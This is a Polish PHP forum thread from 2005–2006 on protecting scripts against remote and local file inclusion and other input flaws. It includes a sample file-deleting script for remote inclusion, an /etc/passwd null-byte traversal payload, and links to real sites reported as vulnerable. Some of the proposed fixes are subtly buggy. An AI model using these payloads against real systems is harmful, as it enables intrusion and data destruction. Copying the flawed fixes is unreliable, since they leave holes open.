Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

16 Stron V   1 2 3 > »   
Reply to this topicStart new topic
> Bezpieczeństwo skryptów PHP, Jak zabezpieczyć się przed włamaniem
Diwi
post 5.05.2005, 13:21:40
Post #1





Grupa: Zarejestrowani
Postów: 245
Pomógł: 4
Dołączył: 22.01.2005

Ostrzeżenie: (0%)
-----


Witam.

Chciałbym rozpocząć temat o bezpieczeństwie skryptów php. Na forum istnieje już temat o bezpieczeństwu przy wykonywaniu zapytania SQL lecz nie ma o ogólnym bezpieczeństwie skryptów.

1. Złe używanie include.

Często dołączamy pliki dynamicznie pobierając miejsce gdzie znajduje się plik metodą GET.

Przykładowy adres:
http://www.jakas-strona.pl/index.php?plik=katalog.php

Kod php:
  1. <?php
  2. include($_GET['plik']);
  3. ?>


Taki skrypt dokonałby dołączenia pliku katalog.php do skryptu lecz co by się stało gdyby włamywacz wpisał taki adres:
http://www.jakas-strona.pl/index.php?plik=...t-niszczacy.php

Dajmy na to że skrypt znajdujący się na serwerze hakera wygląda tak:

  1. <?php
  2.  
  3. $katalog = opendir('./'); /* skrypt otwiera katalog w którym się znajduje (zostaje wywołany */
  4.  
  5. while ($plik = readdir($katalog)) {
  6.  
  7. unlink($file);
  8.  
  9. }
  10.  
  11. ?>


No i jeżeli pliki w katalogu mają uprawnienia pozwalające na usunięcie ich przez skrypt to możemy się pożegnać z plikami w katalogu.

Jak temu zapobiec questionmark.gif

Rozwiązanie 1.

Tworzymy taki include:
  1. <?php
  2. include('./'.$_GET['katalog']);
  3. ?>


Taka instrukcja pozwala na dołączanie jedynie plików które znajdują się w katalogu ze skryptem czyli nie można załączyć pliku z innego serwera.

Ja narazie pamiętam tylko tyle lecz jeżeli znacie jakieś inne błędy popełniane przez programistów a także sposoby walczenia z nimi to się tutaj dopiszcie smile.gif

Pozdrawiam

// prosiłbym moderatorów (jeżeli można) o przyklejenie tego tematu

---
Przyklejone - hwao
Go to the top of the page
+Quote Post
bregovic
post 5.05.2005, 15:49:34
Post #2





Grupa: Zarejestrowani
Postów: 562
Pomógł: 15
Dołączył: 8.08.2003
Skąd: Denmark/Odense

Ostrzeżenie: (0%)
-----


Zaczynając od podstaw, to jakiekolwiek używanie zmiennej $_GET razem z konstrukcja require lub include jest pomyłką, błędem i koszmarem. Jeśli już naprawdę musisz include'ować coś pochodzącego z adresu, to zrób sobie tablicę w skrypcie, coś w stylu:
  1. <?php
  2.  
  3. $tablica[1] = 'jakisplik1';
  4. $tablica[2] = 'jakisplik2';
  5. $tablica[3] = 'jakisplik3';
  6. $tablica[4] = 'jakisplik4';
  7.  
  8. include $tablica[$_GET['costam']];
  9.  
  10. ?>


Oczywiście to rozwiązanie jest koszmarkiem jeśli masz dużą ilość akcji - wtedy trzeba zrobic cos w tym stylu:
  1. <?php
  2.  
  3.  
  4. if(file_exist('bezpieczny_katalog/'.$_GET['costam'].'.php'))
  5. {
  6. include 'bezpieczny_katalog/'.$_GET['costam'].'.php';
  7. }
  8.  
  9. ?>


Generalna zasada to zawsze zakładać że input inny niż tego chcemy, i że user próbuje nas zaatakować. winksmiley.jpg


--------------------
Prank - for the fun. Mac - for the simplicity. Deviantart - for the kick.
Life is ours, We live it our way -- Metallica
Go to the top of the page
+Quote Post
Wave
post 5.05.2005, 16:24:58
Post #3





Grupa: Zarejestrowani
Postów: 332
Pomógł: 6
Dołączył: 13.01.2005

Ostrzeżenie: (0%)
-----


A najczęstszym błędem jest stosowanie zmiennych bez odnoszenia się do tablic superglobalnych.
np.
  1. <?php
  2.  
  3. $var; // zamiast
  4. $_COOKIE['var'];
  5. $_POST['var'];
  6. $_GET['var'];
  7. $_SESSION['var'];
  8.  
  9. ?>

Co daje pole do popisu, dla potencjalnego hax0ra.
Jeżeli nie chce nam się pisać tych długich zmiennych można zastosować coś takiego:
  1. <?php
  2.  
  3. while (list($k, $v) = each ($_GET)) {
  4. ${$k} = $v;
  5. }
  6.  
  7. ?>


----
Sorka ze sie dopisze ale smile.gif nie chce mi sie pisac nowego posta smile.gif)

Jak komus sie nie che to polecam
  1. <?php
  2. $g = & $_GET;
  3. // i mammy
  4. $g['id'];
  5.  
  6. ?>

Go to the top of the page
+Quote Post
sobstel
post 5.05.2005, 16:36:52
Post #4





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(bregovic @ 2005-05-05 15:49:34)
Zaczynając od podstaw, to jakiekolwiek używanie zmiennej $_GET razem z konstrukcja require lub include jest pomyłką, błędem

a na przyklad w takiej konstrukcji :

  1. <?php
  2.  
  3. if (ctype_alnum($_GET['go'])) {
  4. include $_GET['go'].'.php';
  5. }
  6.  
  7. ?>


questionmark.gif?

tak czy owak moim zdaniem najwazniejsze w tym wszyskim jest odpowiednie filtrowanie wszystkiego co pochodzi z zewnątrz lub w czym zewnętrzny użytkownik mógł maczać palce ... i zdawać sobie sprawę z tego, że nigdy nei jesteśmy w pełni bezpieczni.


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
Speedy
post 5.05.2005, 17:06:27
Post #5





Grupa: Zarejestrowani
Postów: 651
Pomógł: 28
Dołączył: 4.12.2004

Ostrzeżenie: (0%)
-----


To ja dodam od siebie jeszcze, że niektóre osoby pisząc aplikacje internetowe, stosują coś takiego jak przechowywanie poufnych danych o userze (po zalogowaniu) w pliku cookie. Taki potencjalny H4X0R może sobie potem swobodnie przeglądać zawartość tych plików i dowolnie je modyfikować. Najgorzej jest wtedy, gdy w takim pliku przechowywana jest wartość zmiennej odpowiedzialna np. za uprawnienia administratora... Wtedy wystarczy ją odpowiednio podmienić i śmiga winksmiley.jpg .
Rozwiązaniem są sesje, które przechowują dane na serwerze.

Pozdrawiam.


--------------------
Sygnatura niezgodna z regulaminem.
Go to the top of the page
+Quote Post
yavaho
post 8.05.2005, 15:03:31
Post #6





Grupa: Zarejestrowani
Postów: 449
Pomógł: 0
Dołączył: 26.05.2004
Skąd: Nowy Sącz

Ostrzeżenie: (0%)
-----


Mozna nieco przefiltrowac zmiena ktora pzechowuje nazwe dolaczanego pliku. I jezeli jest to plik z innej domeny to adres zostanie nieco zmodyfikowany na tyle ze nie zostanie znaleziony.
  1. <?php
  2. if(isset($_GET['page'])){
  3. $page = ereg_replace(&#092;"://\",\"#\",$_GET['page']);
  4. }else{
  5. $page='glowna';
  6. }
  7. ?>
Mozna jeszcze wszystkie includowane pliki przechowywac w jakims jednym katalogu i przed wywolaniem takiego pliku zawsze do zmiennej bedzie dolepiona sciezka co zmieni "niechciane linki" . Mozna tez sprawdzic czy includowany plik napewno pochodzi z naszej domeny basename()" title="Zobacz w manualu PHP" target="_manual
  1. <?php
  2. if(file_exists('skrypty/'.$page.'.php')){
  3. include ('skrypty/'.basename($page.'.php'));
  4. }else{
  5. include ('skrypty/glowna.php');
  6. }
  7. ?>
Po takiej filtracji ja bym sie czul zupelnie spokojnie.

@Speedy czasem musimy cos zostawic w ciasteczku aby rozpoznac danego uzytkownika. Np podczas stosowania autologinu do panelu admina - i tu niestety jest niebezpieczenstwo, na ktore ja nie znam jeszcze dobrego zabezpieczenia.


--------------------
Książki informatyczneKsiążki biznesowe
Warsztat: notepad hardcore
Go to the top of the page
+Quote Post
matid
post 8.05.2005, 17:06:28
Post #7





Grupa: Zarejestrowani
Postów: 362
Pomógł: 0
Dołączył: 18.02.2004
Skąd: Knurów

Ostrzeżenie: (0%)
-----


Cytat(yavaho @ 2005-05-08 16:03:31)
@Speedy czasem musimy cos zostawic w ciasteczku aby rozpoznac danego uzytkownika. Np podczas stosowania autologinu do panelu admina - i tu niestety jest niebezpieczenstwo, na ktore ja nie znam jeszcze dobrego zabezpieczenia.

A nie wystarczy czasem skorzystać z funkcji session_set_cookie_params" title="Zobacz w manualu PHP" target="_manual ?
Go to the top of the page
+Quote Post
sobstel
post 8.05.2005, 17:27:21
Post #8





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(matid @ 2005-05-08 17:06:28)
Cytat(yavaho @ 2005-05-08 16:03:31)
@Speedy czasem musimy cos zostawic w ciasteczku aby rozpoznac danego uzytkownika. Np podczas stosowania autologinu do panelu admina - i tu niestety jest niebezpieczenstwo, na ktore ja nie znam jeszcze dobrego zabezpieczenia.

A nie wystarczy czasem skorzystać z funkcji session_set_cookie_params" title="Zobacz w manualu PHP" target="_manual ?

Efekt działania tej funkcji widoczny jest tylko do końca działania skryptu.


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
Ociu
post 8.05.2005, 18:21:25
Post #9





Grupa: Moderatorzy
Postów: 1 566
Pomógł: 37
Dołączył: 14.05.2003
Skąd: Kraków




sprawdzanie $_GET'ów etc. :
  1. <?php
  2. if(is_int($_GET['id']))
  3. ?>


Wave: lepiej używać foreach.
Go to the top of the page
+Quote Post
vala
post 14.05.2005, 18:52:01
Post #10





Grupa: Zarejestrowani
Postów: 123
Pomógł: 0
Dołączył: 12.01.2005

Ostrzeżenie: (0%)
-----


a nie lepiej zrobic prosty switch ?
ustalimy sobie wtedy wszystkie dostepne przypadki i lux

o cos takiego :
  1. <?php
  2.  
  3.  
  4. if(isset($_GET['id']))
  5. {
  6. switch($_GET['id'])
  7. {
  8.  case &#092;"newsy\":
  9.  case &#092;"smieci\": $ref=$_GET['id'];break;
  10.  
  11.  default: $ref=&#092;"newsy\";
  12.  
  13.  }
  14.  
  15. include(&#092;"katalog/\".$ref.\".php\");
  16.  
  17. }
  18.  
  19.  
  20. ?>


Ten post edytował vala 14.05.2005, 18:55:07


--------------------
Warsztat: Easy PHP 1.7:Apache 1.3.27|PHP 4.3.3|PHPMYADMIn 2.5.3|MYSQL 4.0.15
Go to the top of the page
+Quote Post
AxZx
post 21.05.2005, 12:24:56
Post #11





Grupa: Zarejestrowani
Postów: 1 385
Pomógł: 55
Dołączył: 1.03.2005
Skąd: śląsk

Ostrzeżenie: (0%)
-----


Cytat(vala @ 2005-05-14 17:52:01)
a nie lepiej zrobic prosty switch ?
ustalimy sobie wtedy wszystkie dostepne przypadki i lux

o cos takiego :
  1. <?php
  2.  
  3.  
  4. if(isset($_GET['id']))
  5. {
  6. switch($_GET['id'])
  7. {
  8.  case &#092;"newsy\":
  9.  case &#092;"smieci\": $ref=$_GET['id'];break;
  10.  
  11.  default: $ref=&#092;"newsy\";
  12.  
  13.  }
  14.  
  15. include(&#092;"katalog/\".$ref.\".php\");
  16.  
  17. }
  18.  
  19.  
  20. ?>

@Vala - mozna to zrobic tak, wtedy nie trzeba dawac if(isset(....

  1. <?php
  2.  
  3.  
  4.  
  5. switch(@$_GET['id'])
  6. {
  7.  case &#092;"newsy\":
  8.  case &#092;"smieci\": $ref=$_GET['id'];break;
  9.  
  10.  default: $ref=&#092;"newsy\";
  11.  
  12.  }
  13.  
  14. include(&#092;"katalog/\".$ref.\".php\");
  15.  
  16.  
  17.  
  18.  
  19.  
  20. ?>


--------------------
aplikacje internetowe | Symfony
Go to the top of the page
+Quote Post
sobstel
post 21.05.2005, 13:19:52
Post #12





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(AxZx @ 2005-05-21 12:24:56)
@Vala - mozna to zrobic tak, wtedy nie trzeba dawac if(isset(.

trzeba jesli nie chcemy aby pojawial sie nam blad typu E_NOTICE kiedy id nie bedzie w adresie (najczesciej jest to strona glowna). ewentualnie mozna wczesniej umiescic sprawdzenie if (!isset($_GET['id']) $ref="newsy";


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
Lars
post 1.07.2005, 08:45:41
Post #13





Grupa: Zarejestrowani
Postów: 279
Pomógł: 15
Dołączył: 29.04.2005
Skąd: Gdynia

Ostrzeżenie: (0%)
-----


ja mam prosty skrypt:
  1. <?php
  2. if(isset($_GET['mod'])) {
  3. $mod=$_GET['mod'];
  4. } else {
  5. $mod=&#092;"news\";
  6. }
  7.  
  8. if(isset($_GET['act'])) {
  9. $act=$_GET['act'];
  10. } else {
  11. $act=&#092;"list\";
  12. }
  13.  
  14. $file=$mod.'/'.$act.'.php';
  15.  
  16. if(!file_exists($file)) {
  17. die();
  18. } else {
  19. include &#092;"$file\";
  20. }
  21. ?>


czy file_exists zabezpiecza includowanie z innego serwera??


--------------------
(\.../) This is Bunny. Copy and paste bunny into
(O.o) your signature to help him gain world domination.
(> <) Zanim zapytasz | Też się przyda | Pomogłem ci? Kliknij "Pomógł"
Go to the top of the page
+Quote Post
sobstel
post 1.07.2005, 09:25:20
Post #14





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(Lars @ 2005-07-01 08:45:41)
czy file_exists zabezpiecza includowanie z innego serwera??

tak, ale "Od wersji 5.0.0 php ta funkcja może być użyta także z niektórymi wrapperami URL."


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
yavaho
post 1.07.2005, 09:42:14
Post #15





Grupa: Zarejestrowani
Postów: 449
Pomógł: 0
Dołączył: 26.05.2004
Skąd: Nowy Sącz

Ostrzeżenie: (0%)
-----


Cytat
czy file_exists zabezpiecza includowanie z innego serwera??
Tak, ale tylko w przypadku gdy prawdziwa nazwa includowanego pliku lub sciezka do niego bedzie nieco inna niz ta przekazywana w zmiennej.

W tym przypadku wszystkie includowane pliki musza znajdowac sie w odpowiednim katalogu.
  1. <?php
  2. if(!file_exists('katalog/'.$file.'.php')) {
  3. die();
  4. } else {
  5. include('katalog/'.$file.'.php');
  6. }
  7. ?>

W tym przypadku wszystkie includowane pliki musza miec specyficzny jednakowy poczatek nazwy pliku.
  1. <?php
  2. if(!file_exists('inc_'.$file.'.php')) {
  3. die();
  4. } else {
  5. include('inc_'.$file.'.php');
  6. }
  7. ?>

I jezeli w zmiennej przekaze ktos sciezke do innego serwera to taki plik nie zostanie znaleziony.


--------------------
Książki informatyczneKsiążki biznesowe
Warsztat: notepad hardcore
Go to the top of the page
+Quote Post
gu35t
post 1.07.2005, 11:18:56
Post #16





Grupa: Zarejestrowani
Postów: 57
Pomógł: 0
Dołączył: 15.05.2005

Ostrzeżenie: (0%)
-----


pamietejcie o zonku jaki moze zrobic haxior znakiem pustym:
czyli mam taki np kodzik:
  1. <?php
  2. if(....){
  3. include './skrypty/' . $_GET['plik'] . '.php';
  4. }
  5. ?>

haxior moze wpisac cos takiego
index.php?plik=../../../../../../../etc/passwd%00
czyli:
include ./skrypty/../../../../../../../etc/passwd%00.php no i sie nam pieknie otwarl plik
dobra wiadomosc: znak pusty(\0 == %00) juz na malo jakim serwerze dziala ale czasami znajde. winksmiley.jpg
to znalalem w przeciagu 2 min na google:
http://www.nfz-krakow.pl/index.php?plik=ko..../../etc/passwd
http://www-users.mat.uni.torun.pl/~ghost/i..../../etc/passwd


--------------------
env: Linux Slackware 10.1 [Kernel 2.6.5], PHP 4.3.9, Apache 1.3.33.
Go to the top of the page
+Quote Post
sobstel
post 1.07.2005, 11:22:21
Post #17





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


1. kolega pytal tylko czy mozna otworzyc w ten sposob zewnetrzne pliki tongue.gif
2. mysle ze uzycie file_exists() i basename() jest dobrym sposobem na dolaczanie plikow, ale jak jest ich stosunkowo niewiele zawsze najlepiej zrobic switcha
3. co do zanku pustego to dziala tam gdzie jest wylaczone automatyczne magic_quotes i ktos nie zabezpieczyl tego samemu


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
Lars
post 3.07.2005, 19:52:24
Post #18





Grupa: Zarejestrowani
Postów: 279
Pomógł: 15
Dołączył: 29.04.2005
Skąd: Gdynia

Ostrzeżenie: (0%)
-----


co do: http://www-users.mat.uni.torun.pl/~ghost/i..../../etc/passwd

to można to zabezpieczyć:

  1. <?php
  2. ....przed includem
  3.  
  4. $_GET['plik']=str_replace(&#092;"/\", \"#\", $_GET['plik']);
  5.  
  6. include $_GET['plik'];
  7.  
  8. dalej....
  9. ?>


prosty przykład filtrowania danych happy.gif


--------------------
(\.../) This is Bunny. Copy and paste bunny into
(O.o) your signature to help him gain world domination.
(> <) Zanim zapytasz | Też się przyda | Pomogłem ci? Kliknij "Pomógł"
Go to the top of the page
+Quote Post
sobstel
post 3.07.2005, 20:00:01
Post #19





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(Lars @ 2005-07-03 19:52:24)
co do: http://www-users.mat.uni.torun.pl/~ghost/i..../../etc/passwd

to można to zabezpieczyć:

  1. <?php
  2. ....przed includem
  3.  
  4. $_GET['plik']=str_replace(&#092;"/\", \"#\", $_GET['plik']);
  5.  
  6. include $_GET['plik'];
  7.  
  8. dalej....
  9. ?>


prosty przykład filtrowania danych happy.gif

ja mimo wszystko upieralbym sie przy basename" title="Zobacz w manualu PHP" target="_manual()


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
Vengeance
post 7.07.2005, 19:55:39
Post #20





Grupa: Zarejestrowani
Postów: 657
Pomógł: 2
Dołączył: 15.08.2003
Skąd: Łódź

Ostrzeżenie: (0%)
-----


@bregovic:

Twój sposób
  1. <?php
  2.  
  3. $tablica[1] = 'jakisplik1';
  4. $tablica[2] = 'jakisplik2';
  5. $tablica[3] = 'jakisplik3';
  6. $tablica[4] = 'jakisplik4';
  7.  
  8. include $tablica[$_GET['costam']];
  9.  
  10. ?>


Też nie jest bezpieczny... dajmy na to wywołam URL:
/skrypt.php?tablica[foobar]=haxiorskiPlik&costam=foobar

Oczywiscie zagrozenie wynika glownie wtedy gdy mamy dostep do zrodel... choc czasem da sie takze zgadnac nazwy zmiennych


--------------------
Go to the top of the page
+Quote Post
dr_bonzo
post 8.07.2005, 14:41:45
Post #21





Grupa: Przyjaciele php.pl
Postów: 5 724
Pomógł: 259
Dołączył: 13.04.2004
Skąd: N/A

Ostrzeżenie: (0%)
-----


A wystarczy dodac
$tablica = array();
przed jej uzyciem i po klopocie.
A poza tym to bylo tylko
Cytat
to zrób sobie tablicę w skrypcie, coś w stylu
, pisane szybko i bez doglebnego zastanowienia biggrin.gif


--------------------
Nie lubię jednorożców.
Go to the top of the page
+Quote Post
Lars
post 24.07.2005, 13:10:05
Post #22





Grupa: Zarejestrowani
Postów: 279
Pomógł: 15
Dołączył: 29.04.2005
Skąd: Gdynia

Ostrzeżenie: (0%)
-----


Jeżeli już trzeba zrobić coś takiego:

  1. <?include $_GET['id'].'.php';?>


to zawsze lepiej:

  1. <?php
  2. $file=$_GET['id'].'.php';
  3. if(file_exists($file)) {
  4. include $file;
  5. } else {
  6. echo 'Błąd 404';
  7. }
  8. ?>


Jest jeszcze coś takiego (działą tylko z rg=on).

Mamy kod:
  1. <?php
  2. <form action='ksiega.php' method='post'>
  3. <input type='text' name='nick' value='twoj nick'>
  4. <textarea name='tekst'>Twoj tekst</textarea>
  5. <input type='submit' value='Wyslij'>
  6. </form>
  7. ?>


i plik ksiega.php:

  1. <?php
  2. $file=fopen('data.txt', a);
  3. $zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>';
  4. fwrite($file, $zawartosc);
  5. fclose($file);
  6. echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
  7. ?>


jest tu bardzo wiele luk, m. in:
  • 1. Możliwość wstawienia dowolnej długości nicka/tekstu
  • 2. Umieszczanie kodu !!html!!
  • 3. wpis danych przez ?nick=nick&tekst=txt
  • 4. możliwość uszkodzenia pliku data.txt przez wpisywanie sie przez 2 osoby w tym samym momencie
  • 5. użycie kodu php
jak je usunąć??

1. Użycie strlen" title="Zobacz w manualu PHP" target="_manual:
  1. <?php
  2. $file=fopen('data.txt', a);
  3. $nick=stripslashes($nick);
  4. $tekst=stripslashes($tekst);
  5. if(strlen($nick>10)) {
  6. die('Za długi nick');
  7. } elseif(strlen($tekst>100)) {
  8. die('Za długi tekst');
  9. }
  10. $zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>';
  11. fwrite($file, $zawartosc);
  12. fclose($file);
  13. echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
  14. ?>


2. Użycie strip_tags" title="Zobacz w manualu PHP" target="_manual:
  1. <?php
  2. $file=fopen('data.txt', a);
  3. $nick=stripslashes($nick);
  4. $tekst=stripslashes($tekst);
  5.  
  6. $nick=strip_tags($nick);
  7. $tekst=strip_tags($tekst);
  8.  
  9. if(strlen($nick>10)) {
  10. die('Za długi nick');
  11. } elseif(strlen($tekst>100)) {
  12. die('Za długi tekst');
  13. }
  14. $zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>';
  15. fwrite($file, $zawartosc);
  16. fclose($file);
  17. echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
  18. ?>


3. Zamiast $tekst/$nick używamy $_GET['tekst']/$_GET['nick']:
  1. <?php
  2. $file=fopen('data.txt', a);
  3. $_GET['nick']=stripslashes($_GET['nick']);
  4. $_GET['tekst']=stripslashes($_GET['tekst']);
  5. $_GET['nick']=strip_tags($_GET['nick']);
  6. $_GET['tekst']=strip_tags($_GET['tekst']);
  7.  
  8. if(strlen($_GET['nick']>10)) {
  9. die('Za długi nick');
  10. } elseif(strlen($_GET['tekst']>100)) {
  11. die('Za długi tekst');
  12. }
  13. $zawartosc='<b>'.$_GET['nick'].'</b><br>'.$_GET['tekst'].'<br><br>';
  14. fwrite($file, $zawartosc);
  15. fclose($file);
  16. echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
  17. ?>


4. Użycie flock" title="Zobacz w manualu PHP" target="_manual:
  1. <?php
  2. $file=fopen('data.txt', a);
  3. $_GET['nick']=stripslashes($_GET['nick']);
  4. $_GET['tekst']=stripslashes($_GET['tekst']);
  5. flock($file, 2);
  6. $_GET['nick']=strip_tags($_GET['nick']);
  7. $_GET['tekst']=strip_tags($_GET['tekst']);
  8.  
  9. if(strlen($_GET['nick']>10)) {
  10. die('Za długi nick');
  11. } elseif(strlen($_GET['tekst']>100)) {
  12. die('Za długi tekst');
  13. }
  14. $zawartosc='<b>'.$_GET['nick'].'</b><br>'.$_GET['tekst'].'<br><br>';
  15. fwrite($file, $zawartosc);
  16. flock($file, 3);
  17. fclose($file);
  18. echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
  19. ?>


5. To to samo co w punkcie 2 tongue.gif.
Powód edycji: Porządki // Piniek


--------------------
(\.../) This is Bunny. Copy and paste bunny into
(O.o) your signature to help him gain world domination.
(> <) Zanim zapytasz | Też się przyda | Pomogłem ci? Kliknij "Pomógł"
Go to the top of the page
+Quote Post
Vaticinator
post 16.09.2005, 11:21:56
Post #23





Grupa: Zarejestrowani
Postów: 20
Pomógł: 0
Dołączył: 10.02.2003
Skąd: Magor

Ostrzeżenie: (0%)
-----


A jest jakaś możliwość, żeby wybrane pliki dało się otwierać tylko poprzez include(), a nie bezpośrednio z przeglądarki?


--------------------
"What are we going to do tonight, Brain?"
"Same thing we do every night, Pinky... Try to take over the world!"
Go to the top of the page
+Quote Post
sobstel
post 16.09.2005, 11:40:41
Post #24





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(Vaticinator @ 2005-09-16 11:21:56)
A jest jakaś możliwość, żeby wybrane pliki dało się otwierać tylko poprzez include(), a nie bezpośrednio z przeglądarki?

jest, na szybko przychodzą mi do glowy 2 sposoby :

1. umiescic pliki w jakims katalogu i zabezpieczyc plikiem .htaccess z odpowiednim wpisem (deny from all)
2. umiescic pliki powyzej public_html


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
bregovic
post 28.09.2005, 15:18:54
Post #25





Grupa: Zarejestrowani
Postów: 562
Pomógł: 15
Dołączył: 8.08.2003
Skąd: Denmark/Odense

Ostrzeżenie: (0%)
-----


Cytat(Vaticinator @ 2005-09-16 11:21:56)
A jest jakaś możliwość, żeby wybrane pliki dało się otwierać tylko poprzez include(), a nie bezpośrednio z przeglądarki?

Plik includeujący:
  1. <?php
  2.  
  3. define('x', true);
  4. include 'lol.php';
  5.  
  6. ?>


Plik lol.php:
  1. <?php
  2.  
  3. if(!x) die();
  4. //reszta pliku
  5.  
  6. ?>


--------------------
Prank - for the fun. Mac - for the simplicity. Deviantart - for the kick.
Life is ours, We live it our way -- Metallica
Go to the top of the page
+Quote Post
mike
post 21.11.2005, 00:18:04
Post #26





Grupa: Przyjaciele php.pl
Postów: 7 494
Pomógł: 302
Dołączył: 31.03.2004

Ostrzeżenie: (0%)
-----



W związku z ostatnim postem tutaj, który poruszał problem już omówiony postanowiłem trochę oczyścić ten wątek.

Kilka postów zostało usuniętych - zostały te które powinny zostać tongue.gif

Od tej chwili, proszę użytkowników zwłaszcza początkujących o czytanie tego wątku od początku a nie tylko dopisywanie się na końcu bez czytania całości tego wątku.

Czasem (a raczej często) rozwiązanie problemu jaki macie już padło. Warto poświęcić czas na odszukanie rozwiązania.

P.S.
To nie jest kącik lamerskich pytańexclamation.gif!
Go to the top of the page
+Quote Post
huntercs
post 1.03.2006, 10:50:25
Post #27





Grupa: Zarejestrowani
Postów: 94
Pomógł: 0
Dołączył: 6.02.2005

Ostrzeżenie: (0%)
-----


Ja stosuję w sumie proste rozwiązanie, dodaje tylko strony do których użytkownik może wejść i tyle, jeżeli chce wejść na inną to jest przekierowany na str. główną
  1. <?php
  2. $Section=$_GET['Section'];
  3.  
  4. if($Section!='Main' &&
  5. $Section!='Activate' &&
  6. $Section!='Kolejna_strona' &&
  7. $Section!='Inna_strona' &&
  8. $Section!='Regulamin')
  9. header("Location: ?Section=Main");
  10. else include_once($Section.".php");
  11. ?>


--------------------


Go to the top of the page
+Quote Post
nospor
post 1.03.2006, 10:56:44
Post #28





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




No ale poco trzeba pisac nazwe skryptu? Skoro i tak juz to oifowales, to daj identyfikator a nie nazwe. Po co ktoś ma wiedziec jakie masz skrypty?


--------------------

"Myśl, myśl, myśl..." - Kubuś Puchatek || "Manual, manual, manual..." - Kubuś Programista
"Szukaj, szukaj, szukaj..." - Kubuś Odkrywca || "Debuguj, debuguj, debuguj..." - Kubuś Developer

Go to the top of the page
+Quote Post
mike
post 1.03.2006, 10:57:57
Post #29





Grupa: Przyjaciele php.pl
Postów: 7 494
Pomógł: 302
Dołączył: 31.03.2004

Ostrzeżenie: (0%)
-----


~huntercs możesz to zrobić bardziej elastycznie i elegancko:
  1. <?php
  2.  
  3. $_GET[ 'Section' ] = ( empty( $_GET[ 'Section' ] ) ) ? 'Main' : '';
  4.  
  5. $arrAllowSection = array(
  6. 'Main' => 'Main.php',
  7. 'Activate' => 'Activate.php',
  8. 'Inna_strona' => 'Inna_strona.php',
  9. 'Regulamin'  => 'Regulamin.php'
  10. );
  11.  
  12. if( in_array( $_GET[ 'Section' ], $arrAllowSection ) )
  13. {
  14. include_once( $arrAllowSection[ $_GET[ 'Section' ] ] );
  15. }
  16. else
  17. {
  18. include_once( $arrAllowSection[ 'Main' ] );
  19. }
  20.  
  21. ?>


Masz teraz możliwość prostego i łatwego dodawanie stron i nie musisz ich adresów uzależniać od wartości $_GET[ 'Section' ]. Bo możesz dawać inne nazwy plików.
Go to the top of the page
+Quote Post
vedeney
post 1.03.2006, 18:17:47
Post #30





Grupa: Zarejestrowani
Postów: 4
Pomógł: 0
Dołączył: 28.02.2006
Skąd: 127.0.0.1 :) => Ukraine

Ostrzeżenie: (0%)
-----


I like php-coding in this way smile.gif
  1. <?php
  2. include_once(((isset($_GET[ 'Section' ]) && !empty($_GET[ 'Section' ])) && is_file(str_replace(array(".","/"),"",$_GET['Section']).".php"))?str_replace(array(".","/"),"",$_GET['Section']).".php":'Main.php');
  3. ?>


Just one line, not 21! Rkingsmiley.png


--------------------
My blog: vedeney.org.ua
Go to the top of the page
+Quote Post
ave
post 6.03.2006, 13:57:15
Post #31





Grupa: Zarejestrowani
Postów: 117
Pomógł: 2
Dołączył: 29.01.2004
Skąd: Rz-ów

Ostrzeżenie: (0%)
-----


nie prosciej switch-em ?
  1. <?php
  2. switch($_GET['id']){
  3. case 'aa': include('aa.php');break;
  4. case 'bb': include('bb.php');break;
  5. default:  include('main.php');
  6. }
  7. ?>
Go to the top of the page
+Quote Post
Speedy
post 6.03.2006, 16:07:32
Post #32





Grupa: Zarejestrowani
Postów: 651
Pomógł: 28
Dołączył: 4.12.2004

Ostrzeżenie: (0%)
-----


Switch może być dobry w przypadku, gdy jest mało stron i ich ilość nie jest mobilna. Zauważ, że dla każdego pliku musisz doklepywać osobnego case'a, a można to przecież zrobić bardziej dynamicznie winksmiley.jpg.


--------------------
Sygnatura niezgodna z regulaminem.
Go to the top of the page
+Quote Post
the_foe
post 7.03.2006, 19:30:46
Post #33





Grupa: Zarejestrowani
Postów: 15
Pomógł: 0
Dołączył: 26.08.2003

Ostrzeżenie: (0%)
-----


Jezeli programuje obiektowo to automatyzuje wybieranie stron przez wybieranie metod.
Zaluzmy ze $_GET['p'] odpowiada za podstrone:
  1. <?php
